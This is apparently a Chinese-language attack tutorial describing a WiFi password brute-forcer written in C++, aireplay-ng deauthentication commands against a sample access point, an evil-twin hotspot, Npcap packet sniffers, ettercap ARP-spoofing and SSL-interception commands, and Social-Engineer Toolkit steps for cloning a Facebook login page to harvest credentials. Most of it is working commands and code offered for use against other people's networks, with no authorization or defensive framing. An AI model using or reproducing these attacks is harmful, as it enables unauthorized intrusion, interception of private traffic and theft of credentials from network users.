std::wstring authAlgo; // 认证算法
std::wstring bssType; // BSS类型
int signalQuality; // 信号质量
std::wstring band; // 频段
};功能
- 这是一个结构体,用于存储扫描到的 WiFi 网络的基本信息:
**ssid**:WiFi 名称。**authAlgo**:认证算法(如 WPA2-PSK)。**bssType**:BSS 类型(如基础设施模式或 Ad hoc 模式)。**signalQuality**:信号质量,范围为 0 到 100 的整数值。**band**:频段(如 2.4GHz 或 5GHz)。
2. 全局变量
std::vector<WiFiInfo> wifiList; // WiFi列表
std::atomic<bool> stopBruteForce = false; // 停止爆破的标志**wifiList**:存储扫描到的 WiFi 网络信息。**stopBruteForce**:用于控制 WiFi 密码爆破的标志,支持线程安全操作。
3. 获取 WiFi 网络信息FetchWiFiNetworks
void FetchWiFiNetworks() {
HANDLE clientHandle = NULL;
DWORD version = 2;
DWORD negotiatedVersion = 0;
PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
PWLAN_AVAILABLE_NETWORK_LIST networkList = NULL;功能
- 扫描附近的 WiFi 网络并将其信息存储到全局变量
wifiList中。
工作原理
- 初始化 WiFi 客户端句柄:
- 使用
WlanOpenHandle打开 WiFi 客户端句柄。
- 枚举 WiFi 接口:
- 使用
WlanEnumInterfaces获取可用的 WiFi 接口。
- 扫描网络:
- 使用
WlanGetAvailableNetworkList获取接口中的可用 WiFi 网络列表。 - 遍历每个 WiFi 网络,提取其
SSID、认证算法、BSS 类型、信号质量和频段。
- 释放资源:
- 使用
WlanFreeMemory释放动态分配的内存。
4. 获取当前连接的 WiFi MAC 地址GetConnectedWiFiMacAddress
std::wstring GetConnectedWiFiMacAddress() {
HANDLE clientHandle = NULL;
PWLAN_INTERFACE_INFO_LIST interfaceList = NULL;
PWLAN_CONNECTION_ATTRIBUTES connectionAttributes = NULL;功能
- 获取当前连接的 WiFi 的 MAC 地址。
工作原理
- 获取 WiFi 接口列表:
- 枚举系统中的所有 WiFi 接口。
- 查询连接状态:
- 使用
WlanQueryInterface查询接口的当前连接状态。
- 提取 MAC 地址:
- 如果接口处于连接状态,读取连接属性中的
dot11Bssid字段,并将其格式化为XX:XX:XX:XX:XX:XX格式的字符串。
5. 显示攻击提示窗口ShowAttackPrompt
void ShowAttackPrompt(const std::wstring& macAddress) {功能
- 弹出一个窗口,显示当前连接的 WiFi 的 MAC 地址,并提供以下选项:
- 复制 MAC 地址。
- 攻击 WiFi。
- 取消。
窗口组件
- 静态文本:显示提示信息和 MAC 地址。
- 只读文本框:显示 MAC 地址,可以复制。
- 按钮:实现复制、攻击和取消操作。
6. 尝试连接 WiFiTryConnectToWiFi
bool TryConnectToWiFi(const std::wstring& ssid, const std::wstring& password) {功能
- 使用指定的密码尝试连接到指定的 WiFi 网络。
工作原理
- 清除旧配置:
- 使用
netsh wlan delete profile删除指定 SSID 的旧配置。
- 创建新的配置文件:
- 根据 SSID 和密码生成 XML 配置文件。
- 加载配置文件:
- 使用
netsh wlan add profile加载新的 WiFi 配置。
- 尝试连接:
- 使用
netsh wlan connect命令连接到 WiFi。
7. 爆破 WiFi 密码BruteForceWiFi
std::wstring BruteForceWiFi(HWND hwnd, const std::wstring& ssid, const std::wstring& dictionaryFile) {功能
- 从密码字典中逐一尝试密码,爆破指定 WiFi 的密码。
工作原理
- 读取密码字典:
- 加载密码字典文件,并统计密码总数。
- 尝试密码:
- 遍历字典中的每个密码,使用
TryConnectToWiFi尝试连接。 - 如果连接成功,则返回正确的密码。
- 显示攻击提示:
- 如果爆破成功,调用
ShowAttackPrompt显示 MAC 地址并询问下一步操作。
8. 窗口处理MainWindowProc
LRESULT CALLBACK MainWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {功能
- 处理主窗口的消息,包括创建窗口组件和响应用户交互。
工作原理
- 创建 WiFi 列表按钮:
- 遍历
wifiList,为每个 WiFi 创建一个按钮。
- 响应按钮点击:
- 点击按钮时,打开对应 WiFi 的详情窗口。
由于主程序太大了,我们单开一个项目来写去认证帧WIFI攻击
2.借用Aircrack的去认证:
步骤1: 下载和安装
首先,你需要下载Aircrack-ng的Windows版本。你可以从Aircrack-ng的官方下载页面获取到Windows版本的二进制文件。
- 访问Aircrack-ng的下载页面。
- 下载适用于Windows的压缩文件。
- 解压缩到你的系统中的某个目录。
步骤2: 安装必要的组件
虽然Aircrack-ng的某些功能在Windows上可以使用,但是你可能需要安装额外的软件来支持更广泛的功能,如:
- WinPcap或Npcap(Npcap是WinPcap的现代替代品,提供更好的支持和性能):这些是Windows上的包捕获库,用于网络流量的监测。可以从Npcap官网下载。
加环境变量(windows可能不支持)

..\aircrack-ng-1.7-win\aircrack-ng-1.7-win\bin确认安装(windows可能不支持)

2. 将无线网卡切换到监控模式(以下为Linux系统下)
运行以下命令:
airmon-ng start wlan0- 这里
wlan0是你的无线网卡的接口名称,具体名称可以通过iwconfig查看。 - 执行后,网卡会切换到监控模式,通常会显示为
wlan0mon。
3. 发现目标无线网络
使用 airodump-ng 扫描周围的无线网络:
airodump-ng wlan0mon- 输出会显示附近的无线网络及其信息:
- BSSID:无线网络的 MAC 地址。
- CH:信道。
ESSID:无线网络的名称。
4. 对目标网络进行去认证帧攻击
使用以下命令发送去认证数据包:
aireplay-ng --deauth <次数> -a <目标BSSID> -c <客户端MAC地址> wlan0mon命令参数说明:
--deauth <次数>:指定发送去认证帧的数量。如果希望持续攻击,可以设置为0(无限制)。-a <目标BSSID>:目标路由器的 MAC 地址。-c <客户端MAC地址>:指定要踢下线的客户端设备的 MAC 地址。如果不指定,将影响所有客户端。wlan0mon:监控模式的无线网卡接口。
示例:
踢掉所有连接到目标 AP(BSSID: 02:32:cf:b2:52:42)的客户端:
aireplay-ng --deauth 10 -a 02:32:cf:b2:52:42 wlan0mon踢掉特定客户端(MAC: XX:XX:XX:XX:XX:XX):
aireplay-ng --deauth 10 -a 02:32:cf:b2:52:42 -c XX:XX:XX:XX:XX:XX wlan0mon..言尽于此..
T5·伪造原WIFI,迫使连接,获得信息
以下环境windows和linux
1·开启WIFI热点并且设置名字为原WIFI的,密码也为原来的
方法一:通过“设置”开启
- 打开“设置”:
- 按下快捷键
Win + I,或者点击任务栏上的“开始菜单”并选择“设置”。
- 进入网络和 Internet 设置:
- 在“设置”界面,点击左侧的“网络和 Internet”。
- 找到“移动热点”:
- 在右侧找到“移动热点”选项并点击它。
- 开启移动热点:
- 在“移动热点”页面,将“与其他设备共享 Internet 连接”开关切换到“开”。
- 设置热点参数(可选):
- 点击“属性”可以查看或更改热点的网络名称和密码。
- 确保“共享我的 Internet 连接自”选项选择了正确的网络(例如 Wi-Fi 或以太网)。
方法二:通过快捷方式快速开启
- 打开快捷操作中心:
- 按
Win + A或点击任务栏右下角的网络图标。
- 找到“移动热点”图标:
- 在快捷操作菜单中找到“移动热点”按钮。如果没有看到,可以点击“编辑快速设置”来添加它。
- 点击开启:
- 点击“移动热点”按钮即可快速开启或关闭。
2·获得内网信息
A.使用 Npcap 捕获网络流量:
#include <pcap.h>
#include <iostream>
#include <cstring>
void packetHandler(u_char *userData, const struct pcap_pkthdr* pkthdr, const u_char* packet) {
std::cout << "Packet capture length: " << pkthdr->caplen << std::endl;
std::cout << "Packet total length: " << pkthdr->len << std::endl;
}
int main() {
char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t *alldevs, *device;
pcap_t *adhandle;
// Find all network interfaces
if (pcap_findalldevs(&alldevs, errbuf) == -1) {
std::cerr << "Error in pcap_findalldevs: " << errbuf << std::endl;
return 1;
}
// Select the first device
device = alldevs;
if (device == NULL) {
std::cout << "No devices found." << std::endl;
return 1;
}
std::cout << "Using device: " << device->name << std::endl;
// Open the device for packet capture
adhandle = pcap_open_live(device->name, 65536, 1, 1000, errbuf);
if (adhandle == NULL) {
std::cerr << "Couldn't open device " << device->name << ": " << errbuf << std::endl;
pcap_freealldevs(alldevs);
return 1;
}
// Capture packets
pcap_loop(adhandle, 0, packetHandler, NULL);
// Close the handle
pcap_close(adhandle);
pcap_freealldevs(alldevs);
return 0;
}
B.Npcap来捕获数据包并简单分析HTTP流量以提取图片URL:
#include <pcap.h>
#include <iostream>
#include <regex>
#include <string>
void packetHandler(u_char *userData, const struct pcap_pkthdr* pkthdr, const u_char* packet) {
// 将捕获的数据转换为字符串,便于处理
std::string data(reinterpret_cast<const char*>(packet), pkthdr->caplen);
// 正则表达式查找图片URL
std::regex img_regex("<img src=\"(.*?)\""); // 简单示例,可能需要根据实际情况调整
std::smatch img_match;
if (std::regex_search(data, img_match, img_regex) && img_match.size() > 1) {
std::cout << "Image found: " << img_match[1] << std::endl; // 输出图片URL
}
}
int main() {
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *handle = pcap_open_live("eth0", BUFSIZ, 1, 1000, errbuf);
if (handle == nullptr) {
std::cerr << "Could not open device: " << errbuf << std::endl;
return 1;
}
pcap_loop(handle, 10, packetHandler, nullptr);
pcap_close(handle);
return 0;
}C.使用ettercap工具进行ARP
地址:ettercap
用法:在文本模式下,你可以通过命令行启动 Ettercap 并使用一系列参数和选项来执行各种功能。以下是一些基本的 Ettercap 指令:
- 启动 Ettercap:
- 在文本模式下启动:
ettercap -C- 在静默模式下仅用特定的过滤器执行攻击:ettercap -Tq -F [filter.ef] -M arp /target1/ /target2/- ARP 欺骗攻击:
- 对单一目标执行 ARP 欺骗:
ettercap -T -M arp:remote /gateway_ip/ /target_ip/- 对整个网络进行 ARP 欺骗:ettercap -T -M arp:remote /gateway_ip/ //- Sniffing 模式:
- 统一 Sniffing 模式,用于同时捕获 IPv4 和 IPv6 数据:
ettercap -T -M sniff:unified- 使用特定的网络接口:
- 指定使用特定网络接口:
ettercap -T -i eth0 -M arp /gateway_ip/ /target_ip/- 保存捕获的数据到文件:
- 将捕获的数据保存到文件:
ettercap -w capture_file.pcap- 过滤和解码:
- 应用过滤器文件来解码或修改数据包:
ettercap -T -F filter.ef -M arp /gateway_ip/ /target_ip/- SSL/TLS 拦截:
- 拦截并解密 SSL/TLS 通信:
ettercap -T -M arp:remote /gateway_ip/ /target_ip/ -SD.伪站钓鱼(用Social-Engineer Toolkit)
Social-Engineer Toolkit (SET) 是一个强大的开源框架,专为社会工程学攻击(Social Engineering Attacks)而设计。它可以帮助安全研究人员模拟现实中的社工攻击,从而测试系统和人员的安全意识和防御能力。
主要功能
SET 是一个模块化工具,涵盖了广泛的社工攻击技术,常用于合法的渗透测试。以下是其主要功能模块:
- 网络攻击向量:
- 创建基于浏览器的攻击,例如利用 JavaScript 和 HTML 在目标浏览器上执行恶意代码。
- 执行跨站点脚本(XSS)或恶意网页攻击。
- 钓鱼攻击:
- 创建高仿的钓鱼页面,用于诱骗目标用户输入敏感信息(如用户名、密码)。
- 支持发送恶意电子邮件和短信。
- 恶意文件生成:
- 生成恶意的可执行文件(如
.exe),并诱导目标下载和执行。 - 支持使用编码技术绕过杀毒软件检测。
- USB/HID 攻击载荷:
- 创建用于 USB 存储设备的恶意载荷,插入目标系统时自动执行。
- 支持 HID(Human Interface Device)攻击,通过伪造键盘输入执行恶意命令。
- 社工工具集:
- 提供各类模板和脚本,用于模拟社工攻击场景,例如伪造技术支持电话或社交媒体账户。
- 高级攻击技术:
- 针对目标系统或用户的高级社会工程攻击,例如二维码钓鱼、二维码链接恶意载荷等。
安装和使用
安装
SET 支持大多数基于 Linux 的操作系统,尤其是 Kali Linux。以下是安装步骤:
- 克隆仓库:
git clone https://github.com/trustedsec/social-engineer-toolkit.git- 切换到目录并安装:
cd social-engineer-toolkit
sudo python3 setup.py install- 运行 SET:
sudo setoolkit使用(钓鱼网站)
目标:创建伪造网站,用于诱骗用户输入敏感信息。
- 启动 SET 后,选择以下选项:
1) Social-Engineering Attacks
2) Website Attack Vectors
3) Credential Harvester Attack Method- 选择托管方式:
1) Web Templates
2) Site Cloner- **Web Templates**:使用内置的钓鱼页面模板(例如 Facebook、Gmail)。
- **Site Cloner**:克隆现有网站(如目标的登录页面)。- 如果选择 Site Cloner,输入目标 URL。例如:
Enter the URL to clone: https://www.facebook.com- 设置监听接口(通常是本机 IP 地址)和端口(默认 80)。
Enter the IP for the POST back in Harvester/Tabnabbing: <your IP>